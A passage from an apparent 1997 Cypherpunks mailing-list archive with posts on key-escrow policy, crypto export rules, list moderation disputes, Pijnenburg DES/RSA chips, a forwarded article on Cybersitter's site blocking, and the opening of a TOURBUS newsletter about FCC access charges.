Squirrel) Date: Fri, 14 Feb 1997 15:56:46 -0800 (PST) Subject: EuroGAK Message-ID: <199702142356.PAA18078@toad.com> An EU insider writes (paraphrased): As you say, an EU policy on cryptography requires the utmost care. We have been following US initiatives closely. The USG's latest proposal attempts to balance the need for security with the need to tackle crime. Some EU Member States have begun work possibly leading to Government access to keys (where legally authorised). Various conventions and laws set out rights for the citizen and these will be respected. It is not suggested that access should include signature keys, only those for message confidentiality (as with police search powers). comment: The term "Government access to keys" is used. No mention of mandatory GAK, or the (in)effectiveness of GAK against crime. He refers to "message confidentiality ... police search powers" by which he perhaps means wiretap, rather than search. Or perhaps he means storage as well as messages. His "signature keys" does not specify the plan for a dual-purpose key, but my guess is they would wish to obtain a dual-purpose key if interested in its cyphertext. From aaron at herringn.com Fri Feb 14 15:56:49 1997 From: aaron at herringn.com (aaron at herringn.com) Date: Fri, 14 Feb 1997 15:56:49 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702142356.PAA18079@toad.com> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule him personally, just his (distressingly common) attitude] >Just for the record. I will not post to USENET given the spamming that >seems to go to IDs that appear there. [chuckle] Just add an anti-spam segment to your email address. example: jsmith[at]foo.com Most people worth talking to have enough of a clue to replace [at] with @. if your software requires an apparently valid email address, try jsmith at NOSPAM.foo.com I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email in the from: header. Sure, somebody out there is going to be unhappy with me, but if they have a clue they'll figure it out. Meantime, the SpamBots are bouncing mail to the admin of the site instead of to me. That may not be enough if you're already in the spamming lists. Try using 'positive' filtering- instead of filtering to eliminate unwanted mail, filter email from regular correspondents into a 'approved' directory, and leave the rest in the inbox to pick through later. It seems very strange that the denziens of this list, reputed to be gutsy enough to take on the FBI, NSA, CIA, and White House, would be scared away from a discussion forum (Usenet) by uninvited email. We'd better hope they never figure out Cypherpunks, Guardians of Privacy and Defenders of Free Speech, are afraid of spam. (And supposedly the 'Moderation experiment' is over, so this won't get kicked onto the -flames list, although it's more ridicule than flame...) From declan at well.com Fri Feb 14 15:56:49 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 14 Feb 1997 15:56:49 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702142356.PAA18080@toad.com> Mike sheds more heat than light on the issue. Gilmore does not always represent the EFF; not every action of his is an EFF action. As for the "rift," may observers said at the time that DT was a Jerry Berman "appeasement and capitulation" scheme. Note Berman no longer works at EFF. Note EFF is no lnoger in DC. And yes, I've read Tim May's essay on his EFF membership. I probably would have had the same reaction. -Declan On Fri, 14 Feb 1997, Mike Duvos wrote: > John Gilmore writes: > > [Fluffy Gilmore apologia by Declan expunged] > > Two small points. > > 1. The rift between Gilmore/EFF and Cypherpunks is hardly > of recent origin, and dates back to when the EFF first > demonstrated to horrified Cypherpunks that its policy > would be one of appeasement and capitulation towards > clearly unacceptable legislation. This is all in the > archives, including Tim May's essay on why he chose not > to renew his EFF membership. > > 2. The article fails to mention Gilmore's new nickname. :) > > -- > Mike Duvos $ PGP 2.6 Public Key available $ > mpd at netcom.com $ via Finger. $ > > > From omega at bigeasy.com Fri Feb 14 15:57:40 1997 From: omega at bigeasy.com (Omegaman) Date: Fri, 14 Feb 1997 15:57:40 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702142357.PAA18119@toad.com> > The only other alternative I can see would be to limit membership -- > but not limit what members might write. The notion that there are "members" in some kind of formal fashion is inherently un-cypherpunk in my book and would most likely be rejected. > Having been "on" the net for over 15 years -- and with experience in > both ends of the censorship/moderation problem (I'm probably the > only Cypherpunks member to have had a book "banned in Boston"), I'm > sorry that a handful of sociopaths managed to destroy this > experiment in anarchy, but I suspect that this was inevitable. In your 15 years on-line you should KNOW that it's an inevitable cycle inherent to anarchic forums like cypherpunks. But the notion that cypherpunks is dead and destroyed is silly. Cypherpunks will (and already are) reform and renew as is, I believe, necessary. Whether or not the name cypherpunks is used and embraced is irrelevant. Those interested in cryptography as a tool of personal privacy and freedom will inevitable congregate in the self-organizing fashion that "cypherpunks" have always recognized. The "human judgement" you are referring to is leadership. Leadership is not necessarily anathema to cypherpunks. Leadership is provided by those who try to post signal and ignore the noise. Those who continue to push the discussion forward. People inevitably tire of robust forums such as this. The sociopaths and the leaders come and go in waves. Let the forum mutate in whatever way it chooses. --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:"to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From vin at shore.net Fri Feb 14 15:58:02 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 14 Feb 1997 15:58:02 -0800 (PST) Subject: crypto restrictions Message-ID: <199702142358.PAA18138@toad.com> Anand Abhyankar asked: >1) is it illegal to develop an encryption tool (s/w) outside the US >which uses > 40 bit size session keys and then import that s/w inside of >the US. > >anand.... Hi Anand, Nope! Unless there are export controls in India, your wizards in Bombay or Dehli (pardon, I forget) can offer their US customers the full and unrestricted product of their creativity and genius in algorithms, crypto implementations, and/or crypto protocols. There are no restrictions on encryption software being _imported_ into the US, nor are there (at the moment ) any legal (as opposed to patent or copyright) restrictions on any encryption software of any strength being _used_ in the US. For that matter, there are no restrictions on encrypted data being transmitted across the US border. And (while it may require a license, apparently an exemption for the product, as opposed to a sales-by-sale license) there are seemingly no -- or at least less -- restrictions on the use of specialized encryption products (within the US) which can generate a "self-decrypting" secure packet which can be transmitted (cross-border, outside the US) and opened, anywhere, by a recipient who has been provided with a password/key out of band. That is how RSA's SecurPC has been able to offer full 128-bit RC4 encryption to secure US-to-Anywhere international file transfers. (As with DES, the US Govt is apparently trying to control the export of a full implementation package -- not the international distribution of a widely-known algorithm, per se. As I understand it, the self-decrypting PCSecure packet does not contain the user interface which allows automatic encryption, the interface can only decrypt. The RC4 algorithm, of course, has to be included in the transmission, and it is inherently reversible -- only the user interface is "crippled" to restrict its use to encrypt. Corrections welcome, if I don't have this exactly right.) The international traffic in self-decrypting "128-bit" products is separate and distinct from the issues involved in the recent modifications of the US export regs, which allow vendors to get approval to export a 56-bit secret-key encryption product (eg. RC4, RC5, or DES) only if the vendor submits a concrete plan, and schedule of implementation, to redesign their (export) product to require key-escrow or trusted-party key-recovery/storage. (In addition whatever recovery key is required by corporate backup policies, this is also, obviously, a mechanism for GAK, "government access to keys" --under US law, hopefully with a court warrant -- and/or whatever backup/key-recovery/GAK-access mechanism might be required various other nations in which those products will be imported, used, or transhipped from.) And with those GAK-adapted implementations, the US govt. will then approve, for the first time, general export of robust 128-bit secret-key products... as they reportedly have for Open Market's SSL, and TIS and Digital crypto products. I hope this is helpful, Suerte, _Vin From ichudov at algebra.com Fri Feb 14 15:58:03 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Fri, 14 Feb 1997 15:58:03 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142358.PAA18139@toad.com> Vin McLellan wrote: > > It's always interesting to see how another person, particularly a > writer, filters and reshapes an experience you shared with them . > Differences in the telling are inevitable -- but I perceived the recent > experience of the C'punks List quite differently than what Declan described > and implied in his column. > > My understanding of Sandy's effort, for instance, was that he was to > filter out the sludge of spam and contentless name-calling with which some > idiots were flooding the list. My impression was that he was passing along > any posts with content (ideas, pro or con, on almost anything) but filtering > out the empty obscene name-calling and slurs (many of which seemed anon or > forged, with varied and misleading titles, to duck my kill-file filters.) May I ask you, what is the basis of "your understanding"? Did you form your impression upon reading only the materials from the list that was filtered by Sandy? Or you also read the flames and unedited lists? In the latter case, you have no basis for any claims regarding Sandy's policy. I do have a list of subscribers to the unedited list, and you were not on it. > I, for one, was appreciative. > By the logic of Tim and others, a clever and dedicated crusade > against Cypherpunks by any minimally-organized group, bir or small -- your > local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever! -- could have > destroyed the List at any time in the past. But of course. > I'm glad they never realized > how vulnerable we were; I've enjoyed this Community greatly in its current > manifestation. Maybe they realized it and were not really bothered by this list because of this lameness. What if all these anti-government rants were just feeding the illusion of grandeur. > I also hate to think of how gleeful the sociopaths who mail-bombed > us into the choice of submission or suicide must be today. I think it is a > particularly henious crime to destroy a virtual community; something akin to > book-burning, but maybe more like arson -- like burning village schools. It is because you wanted to take everything from them. > There was a willful attempt to destroy C'punks, an attack of depth and > volume which led many of us (even those who had ignored at least three > earlier efforts to offer filtered subsets to the List) to welcome the > Moderation Experiment. Unfortunately, the attempt at moderation just twisted > our own energies against ourselves. We were, perhaps predictably, quite > easy to manipulate. It is a question of what you think is manipulation. > If I have any criticism of John et al, it is that our List-Owner (a > statement of function, rather than property) never gave the List Community > an overt option to vote for minimal moderation. A tactical error. That > that allowed the anarchists, nihlists, and others pure of heart to focus > their ire on toad.com and Sandy -- rather than on those of us who (when John > finally acted) might have gladly re-subscribed to another version of the > List in order to obtain minimal spam and slur filtration. Yes, if moderation created a new place in cyberspace, it would have been less controversial. - Igor. From pgut001 at cs.auckland.ac.nz Fri Feb 14 15:58:08 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Fri, 14 Feb 1997 15:58:08 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702142358.PAA18151@toad.com> I've just got the details on two new crypto chips produced by the Dutch company Pijnenburg Custom Chips B.V. These are the PCC 201 bignum coprocessor and the PCC 101 DES-with-everything processor (the official names are slightly different :-). The PCC 101 sells for approximately US$27, the PCC 201 sells for approximately US$50 (for people who aren't familiar with the market for these things, these are very good prices, especially for the 201). The PCC 201 is officially a "Large number modular arithmetic coprocessor" which is designed to perform the operations: A^x mod N AB mod N C mod n very quickly for quantities of up to 1024 bits. Typical procesing times for 1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz. Unfortunately you can't directly chain them for larger operands, although it's possible to use two 201's and some software tricks for CRT decrypts to stretch the operand size to > 1024 bits. The way the 201 works is that you load the fixed components (exponent and modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three sets of on-chip registers, and then use them to perform arbitrary numbers of operations on data. This means that for something like a micropayment application you would load the necessary private key components once and then generate signatures at the (theoretical) rate of 25 a second. To date the cost of this kind of hardware has been such that the most viable solution was to run racks full of cheap P5 boards booting a bare-bones RSA-processing application through a network card, but with the PCC 201 you could populate a board with 201's and a few microcontrollers a la a Wiener machine and use these as a payment transaction processing engine. They'd also make fairly cool SSL co-processors for web servers. The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2 or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of 132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when clocked at 33 MHz. It's possible to load either single or triple-DES encrypted keys which are then decrypted using onboard key encryption keys (KEKs). The chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys (pre/post-whitener). Processing is done in a 3-stage pipeline, so once you feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also allows overlapped I/O operation). You can add an external battery to save the internal state when power is removed, so you could keep your keys permanently stored onboard (although given that these keys can be recovered given enough money and effort I'm not sure if this is a good thing). The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available in 68-pin PLCC and 80-pin TQFP packages. The PCC 201 contains a multiplexed address/data bus and a few control signals (most of the pins are unused), the PCC 101 contains data and address ports and a few control signals. They look fairly easy to interface. There's an ISA evaluation board available which contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101) and some test software. Note that this is an evaluation board only, Pijnenburg make the chips but don't sell general encryption cards. A fast PCI card containing these chips and drivers for various common operating systems and MSDOS is currently being designed by an international cabal. This will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and possibly a few other things (we're still arguing about the design). I'll be writing DOS and Win16 drivers for it, and someone else will do an NT and possibly Linux driver (again, it's still at the design stage). cryptlib (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up having native support for it when it's ready. Pijnenburg don't have a web page yet but are working on it, I'll post the details here when it becomes available. Until then you can contact them at asic at pijnenburg.nl. The only slight problem is that they're subject to the Dutch governments export rules (the usual Wassenaar stuff) which means that if you're not using it for an authentication/integrity-only application or a financial application, you'll probably need to go through some paperwork to show that it's for your use only and you won't be passing it on to your friend Jose from Columbia. Pijnenburg have a standard Statement of Application which people can use as to write their own statement for export approval. These chips look *very* promising. Who needs Clipper, or HP's Clipper-under-another-name, when you can get triple DES from the free world at prices like this? Peter. From cynthb at sonetis.com Fri Feb 14 15:58:16 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Fri, 14 Feb 1997 15:58:16 -0800 (PST) Subject: Message-ID: <199702142358.PAA18153@toad.com> On Fri, 14 Feb 1997, Omegaman wrote: > paul at fatmans.demon.co.uk wrote: > > > Is it legal or illegal to send a > > > PGP encrypted message from the US to someone in another country? > > > > Yes. > > No it's not. Where do you get this? It would be illegal to send > them a copy of the PGP program. But sending encrypted messages is > not illegal. Actually, Paul implied that it was both legal and illegal. I assume he meant that it is legal except where the *content* of the message contains something illegal (death threats against heads of state, etc.) But if you use strong encryption, who'll know? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From adam at homeport.org Fri Feb 14 15:58:21 1997 From: adam at homeport.org (Adam Shostack) Date: Fri, 14 Feb 1997 15:58:21 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142358.PAA18154@toad.com> Michael Froomkin - U.Miami School of Law wrote: | Just for the record. I will not post to USENET given the spamming that | seems to go to IDs that appear there. Your postings appear on the web, as part of the cypherpunks archives at infinity.nus.sg. http://infinity.nus.sg/cypherpunks/current/0089.html There seem to be robots that search the web; I've never even read usenet from this account, and I get spam. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From kent at songbird.com Fri Feb 14 15:58:29 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 15:58:29 -0800 (PST) Subject: Fuck UseNet Message-ID: <199702142358.PAA18156@toad.com> Toto allegedly said: > > Jeremiah A Blatz wrote: > > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > > consiencous newsadmins probably did not honor the rmgroup, as > > alt.cypherpunks should be acceptable, but most newsadmins are too > > overworked to actually look at most of the crap that comes through. > > > Therefore, it would be a Good Thing to continue any discussion on > > alt.config, and convince any cabal'ers who rmgroup it to re-new it. > > Sending out boosters every couple of weeks wouldn't hurt, either. > > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Pretty much, yes. The voting process for a comp group is better, IMO. But the distributed mailing list is by far the most interesting solution. Contrary to what some have claimed, it really isn't the same as usenet -- it allows for distributed control. There is no doubt that the operator of a mail list host should have the freedom to set his or her policies as they see fit -- it is their machine, and their responsibility. And contrariwise, subscribers should have the freedom to chose list hosts with compatible philosophies. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From aba at dcs.ex.ac.uk Fri Feb 14 16:05:18 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 14 Feb 1997 16:05:18 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: Message-ID: <199702142359.XAA02745@server.test.net> Tim May writes: > [...] > By the way, I can forward to those who are interested these four or five > posts which got "Meta-Censored." (Unless too many people request > them...I'll promise to forward them to the first five people who request > them...then some of you can repost them to the list and see if they make it > through.) I'd like to see them. In fact I'd like to collect the posts which slipped through the crack and didn't make it to either cp-flames or cp, on the assumption that these are the posts which tell the story. In particular I'd like to see the post that John Gilmore refered to as `Mr Nemesis' post, wherein someone allegedly slanders/libels C2, to the extent that Sandy dropped it from both lists, if anyone who was subscribed to cypherpunks-unedited at the time has it still. Unfortunately I was subscribed to only cypherpuks-flames and cypherpunks (the edited list) at the time, so didn't get to see it. I'm on Lance Cottrell's cypherpunks at cyberpass.net now, which is subscribed to the cypherpunks-unedited list. At the moment Lance is setting Reply-To: to cypherpunks at toad.com, but I presume he'll drop that when John Gilmore drops cypherpunks at toad.com. The moderation decisions that I saw prior to moving to cypherpunks-unedited after Sandy's return, and change of policy, were even more arbitrary. I figured I wasn't even interested to see what they were any more, given that the cypherpunks at toad.com was shortly being closed anyway, so just subscribed to cypherpunks-unedited. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 05:21:41.54 To: IN%"rre at weber.ucsd.edu" CC: Subj: Cybersitter [Forwarded with permission.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 30 Jan 97 08:23:58 -0500 (EST) From: kkc at COMPETITOR.NET(K.K. Campbell) Subject: Cybersitter & Wallace ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ WHO'S WATCHING THE 'WATCHERS'? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by K.K. CAMPBELL Net.column The Toronto Star Thursday, January 30, 1997 One of the most controversial aspects of cyberspace is censorship. A widely accepted solution to eliminating the "unwanted" is self-imposed censorship, through special software which blocks out types of content not desired. The appeal of these programs is that people needn't rely on distant authority to dictate acceptability. We police ourselves; or at least we have some control over how we will be policed. The news media have generally blessed "blocking software" with unexamined sprinklings of warm praise. After all, who dares suggest that stopping your 5-year-old from seeing graphic gore, violence or sex is bad? What could go wrong with that? But, now critics are starting to ask, who is "watching the watchers?" Could these watchers themselves develop more "creative applications" for their power to silence? Could they apply their own personal prejudices, or even their own hidden agendas? Or is that paranoid nonsense? Ask U.S. author Jonathan Wallace (jw at bway.net). Wallace says California's Solid Oak software, which produces Cybersitter blocking software, has added his site to its "block list" in retaliation for critical remarks he made about the company. Solid Oak claims 900,000 registered Cybersitter users. Wallace, a New York-based software business executive and attorney is co-author of the book _Sex, Laws and Cyberspace_ (Henry Holt, $34.95). Net.column will discuss the book with its author next installment. He's also editor of the monthly Webzine _The Ethical Spectacle_, which focuses on "the intersection of ethics, law and politics in our society." The Webzine recently asked readers to not purchase Cybersitter because of continuing reports of Solid Oak's "unethical behavior." "In the book," Wallace says in a press release explaining his current attitude to Cybersitter, "we took the position -- naively, I now think -- that use of blocking software by parents was a less restrictive alternative to government censorship. We never expected that publishers of blocking software would block sites for their political content alone, as Solid Oak has done." Solid Oak unequivocably denies there is a political agenda of any kind et work. "Absolutely, 100 per cent not," Marc Kanter told the Toronto Star in a phone interview. Kanter is Solid Oak's vice president of marketing. "There is no hidden political agenda." Kanter says someone criticizing Cybersitter would not be blocked. He says Wallace's site is blocked because it "links information on how to hack Cybersitter. We do not allow our customers to have hacking information for the program." Wallace told The Star that's not true. "There's no such information on my site, nor is there on Peacefire's. I link to some pages maintained by Glen Roberts, who -- along with some political commentary on Cybersitter, and analysis of its blocking policy -- offers a (legal) work-around. However, since his site is separately blocked by Cybersitter, there is no reason for them to block my site as well." Kanter dismisses Wallace's complaints. "The guy didn't do any homework," Kanter says. "There are a few people who are right-wing activists who are out there that are trying to defame the filtering program. This is what leads to stories like you are doing -- and hopefully you are not supportive of their actions." Wallace didn't know what to make of that. "I've been called a communist, a socialist, and a wild-eyed civil libertarian, but no one has ever called me right wing before," he says. "Kanter has obviously never read _The Ethical Spectacle_." While Cybersitter, with fanfare, claims its mission is to block Web sites containing pornography, obscenity, gratuitous violence, hate speech, criminal activity, etc., an increasing number of investigative Net.journalists also claim Cybersitter, without fanfare, blocks access to Web sites based on political criteria. FOR OUR OWN GOOD This brouhaha began last summer when CyberWire Dispatch revealed Cybersitter blocks sites based on political agenda, such as the feminist National Organization for Women (www.now.org). Dispatch journalist/editor Brock Meeks asked Solid Oak CEO Brian Milburn (bmilburn at solidoak.com) about that. "Milburn isn't shy about it," Meeks reported. "He was outright indignant when he originally told Dispatch: 'If NOW doesn't like it, tough'." Solid Oak threatened to sue Dispatch for its article, but things quieted down. In December, the issue erupted again when 18-yearold Bennett Haselton (bennett at peacefire.org) wrote an article about the company's selection of blocked sites: "Cybersitter: Where Do We Not Want You To Go Today?" (www.peacefire.org/censorware/CYBERsitter.html). Haselton takes computer science and math at Vanderbilt University. "Peacefire" is his own creation, a teen cyberrights group, average age 15. According to various Net.journalists, Solid Oak now threatened Bennett with a lawsuit and even tried to get the Peacefire site booted from its host system (media3.net) by telling Media3 that Haselton was making it "his mission in life to defame our product" by "routinely" publishing names of sites blocked by Cybersitter. (It should be noted it's easy to figure out which sites are blocked, the software provides an output list. Try "playboy.com" -- blocked. Try "whitehouse.com" -- okay. Try "peacefire.org" -- blocked. Try "now.org" -- blocked.) Unsuccessful in his pressure against Media3, Milburn instead included the peacefire.org domain in Cybersitter's block list. On Dec. 9, HotWired picked the story up (www.wired.com/news/story/901.html). NetAction Notes (www.netaction.org) quickly followed suit. Haselton told his story to the Electronic Frontier Foundation and the EFF assured him it would represent him, should Solid Oak deliver on its threat to sue. On Dec. 20, The Netly News (http://netlynews.com) continued the investigation of Cybersitter. Aside from the irony of Cybersitter censoring the newsgroup alt.censorship, it "blocks dozens of ISPs and university sites such as well .com, zoom.com, anon.penet.fi, best.com, webpower.com, ftp.std.com, cts.com, gwis2.seas.gwu.edu, hss.cmu.edu, c2.org, echonyc.com and accounting.com. Now, sadly, some libraries are using it." BLACK LIST TO BLOCK LIST Wallace read the reports of legal threats against the teenager and thought "Milburn was acting like the proverbial 800-pound gorilla." So Wallace added a link on _The Spectacle_'s homepage called "Don't Buy Cybersitter." "I wrote the company," he says, "informing them of my actions and telling them that they misrepresent their product when they claim it blocks only indecent material, hate speech and the like." Wallace says Solid Oak responded by adding his Webzine to its block list. Learning of this, Wallace wrote Milburn and Solid Oak tech support. "I pointed out that _The Spectacle_ does not fit any of their published criteria for blocking a site," he says. "I received mail in return demanding that I cease writing to them and calling my mail 'harassment' -- with a copy to the postmaster at my ISP." Kanter acknowledges this. "He spoke to us more than once or twice -- he continued to send mail -- mail like that is considered 'not wanted' and is automatically sent back." By the end of our phone conversation, Kanter had dropped the "right-wing activist" explanation of who was behind the Cybersitter complaints and offered a new one: "Some of this rhetoric was started by someone we believe to be a highly -- how do you put it? -- a highly homosexual individual, who did not believe we should have the right to block any sites or links to alternative lifestyles. That's how a lot of this got started." Why is the National Organization for Women site blocked? "Very simple. It contains links to gay and lesbian hardcore material. I was on their page this morning, and there is a lot of offensive material linked directly. Just go to their links page and start looking at 'gay' and 'feminism.' Our parents don't want that kind of stuff." I asked if he really meant "hardcore" -- suggestive of full-penetration images/stories. "Yes, by links through links," he clarifies. If someone followed the links starting at now.org, they'd eventually find hardcore sexual material. Kanter says parents are not permitted to know which sites Cybersitter blocks. "That list is not given to anybody under any circumstances -- including law enforcement agencies that have requested it." He says it's to prevent the list from "getting into the wrong hands." It would be a cybermap to naughtiness for some kids. And parents aren't allowed to remove blocked sites from Cybersitter, although they can add to the list. Cyber-rights activists claim the incident underscores warnings they've issued for years: While censorship software may first aim to protect children against "pornography," it can quickly be adopted for political agendas. _The Ethical Spectacle_ is at www.spectacle.org. Solid Oak's Web site can be found at www.solidoak.com. -30- Copyright 1997 K.K. Campbell From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 14 16:17:59 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 14 Feb 1997 16:17:59 -0800 (PST) Subject: RRE: Fear and Loathing at the FCC Message-ID: <01IFF0ZI2MHO9AN9VD@mbcl.rutgers.edu> From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 07:16:51.99 To: IN%"rre at weber.ucsd.edu" CC: Subj: Fear and Loathing at the FCC [Forwarded with permission. This is the closest thing I've found to real research on the FCC-access-charges-for-ISP's action alert you have no doubt seen recently. Right or wrong, this was an incredibly badly designed alert. Please let me recommend that you *never* forward any kind of alert message unless it is signed, includes detailed background information or at least a URL that points to background information, and includes a time-out date. For more information on the proper construction of Internet action alerts, see http://communication.ucsd.edu/pagre/tno/january-1994.html#action ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 13 Feb 1997 20:18:54 -0600 From: Patrick Douglas Crispen Subject: TOURBUS -- 13 FEBRUARY 1997 -- EDUPAGE / FEAR AND LOATHING AT THE FCC /~~~~~~~~~|~~~~~~~~~~~~/~~~~~~~~~|~~~~~~~~~~|~~~~~~~~~~~~/~~~|~~\ | FREE FUGEES CD - WIN AT WWW.MEDIADOME.COM / | \ |__________|__________/___________|__________|__________/ | \ / /______|-----\ | Haven't come to Mediadome(sm) yet? We're still |//////| | | giving away free Fugees CDs. Just sign up for |//////| | | our digital dispatch-better hurry, only 4 more |//////| | | days! Come see our Fugees Webisode & play the |//////| | | 'Video' game - based on the Fugees' hit song & |//////| | | video, 'Ready Or Not'- only at www.mediadome.com |//////| | ~~~/~~~\~~/~~~\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/~~~\~~~~~ \___/ \___/ T h e I n t e r n e t T o u r B u s \___/ TODAY'S STOP: EDUPAGE / FEAR AND LOATHING AT THE FCC TODAY'S ADDRESSES: http://www.worldvillage.com/wv/hotel/tourbus/archives.htm http://www.educom.edu/web/edupage.html http://www.eff.org/papers/eegtti/eeg_83.html#SEC84 http://www.fcc.gov/isp.html Hi, kids! Put your seat belts on, because our latest adventure is about to get under way! Before we pull out of the terminal, though, can I interest anyone in a magazine or two? :) +--- HUGE TOURBUS SAVINGS ON THE HOTTEST MAGAZINE SUBSCRIPTIONS! ----+ Time, Newsweek, Money, PC Magazine, ZD Internet, Net, Yahoo, and tons more! Plus, pick from 50 FREE subscriptions. Send email now to: +-------------------- ( tourbus at magazines.com ) ---------------------+ By the way, I have a sinking feeling that a few of you may want to forward part of today's post to some of your friends. I would be happy if you did this -- just make sure that you give credit where credit is due. :) EDUPAGE ------- I think I am losing my mind. I distinctly remember pulling our little bus of Internet happiness into Edupage before, but for the life of me I can't find a copy of that post anywhere in the TOURBUS archives (which, by the way, can be found on the World Wide Web at http://www.worldvillage.com/wv/hotel/tourbus/archives.htm). Anyway, Edupage is an absolutely wonderful, free, e-mail-based "summary of news items on information technology, and is provided three times each week as a service by Educom -- a consortium of leading colleges and universities seeking to transform education through the use of information technology." Edupage is actually a misnomer, because Edupage doesn't really talk about education. Rather, Edupage send you one paragraph summaries of technology stories printed in leading newspapers and magazines (like Business Week, Information Week, Forbes, etc.). Each issue of Edupage usually contains between 6 and 10 of these summaries. If you want to subscribe to Edupage (remember, it's FREE), just send an e-mail letter to LISTPROC at EDUCOM.UNC.EDU with the command SUBSCRIBE EDUPAGE YOURFIRSTNAME YOURLASTNAME in the body of your e-mail letter, replacing YOURFIRSTNAME and YOURLASTNAME with your first and last names. You can also find Edupage on the Web at http://www.educom.edu/web/edupage.html Edupage is clearly one of my favorite resources on the Net. It provides cutting-edge technology information in a size that is easy to digest, and as a professional college student I *often* find myself quoting and applying the information that I have found in Edupage. FEAR AND LOATHING AT THE FCC ---------------------------- Over the past couple of weeks, you may have received e-mail letters telling you that Many local telephone companies have filed a proposal with the FCC [The United States' Federal Communications Commission] to impose per minute charges for Internet service. They contend that use of Internet has or will hinder the operation of the telephone network. At first, I thought that this was simply a new version of the old "modem tax" hoax (http://www.eff.org/papers/eegtti/eeg_83.html#SEC84) that has been floating around the Net since *1987*. After all, the current FCC story has all of the markings of a classic urban legend: 1. It uses official-looking language; 2. It mentions a government agency or an organization with which everyone is familiar; 3. It contains a plea for you to take some sort of immediate action; and 4. It requests that you forward the warning letter to as many people as possible. Besides, according to an article that appeared in this morning's Edupage, ONLINE COMPANIES ASK TELCOS, "WHERE'S THE BEEF?" Tired of telephone companies' complaints that Internet usage is overwhelming their network capacity, the Internet Access Coalition has released findings contending that Net usage is, in reality, a bonanza for the Bells. The study found that local carriers received a total of $1.4 billion in 1995 in revenues resulting from the installation of second lines in homes, while spending only $245 million to beef up their networks for the additional usage. A Bell Atlantic spokesman says the real problem is that the telcos have no idea when a line will be used for data rather than voice, and thus tied up longer. Both sides agree that the ultimate solution is higher capacity networks. (Business Week 17 Feb 97) Well, out of curiosity -- and out of a deep-felt desire to avoid studying for the two major economics tests that I have next week -- your fearless bus driver decided to call the FCC in Washington to see if anyone there was willing to talk about this rather explosive issue. Unfortunately, I soon discovered that the FCC only has one 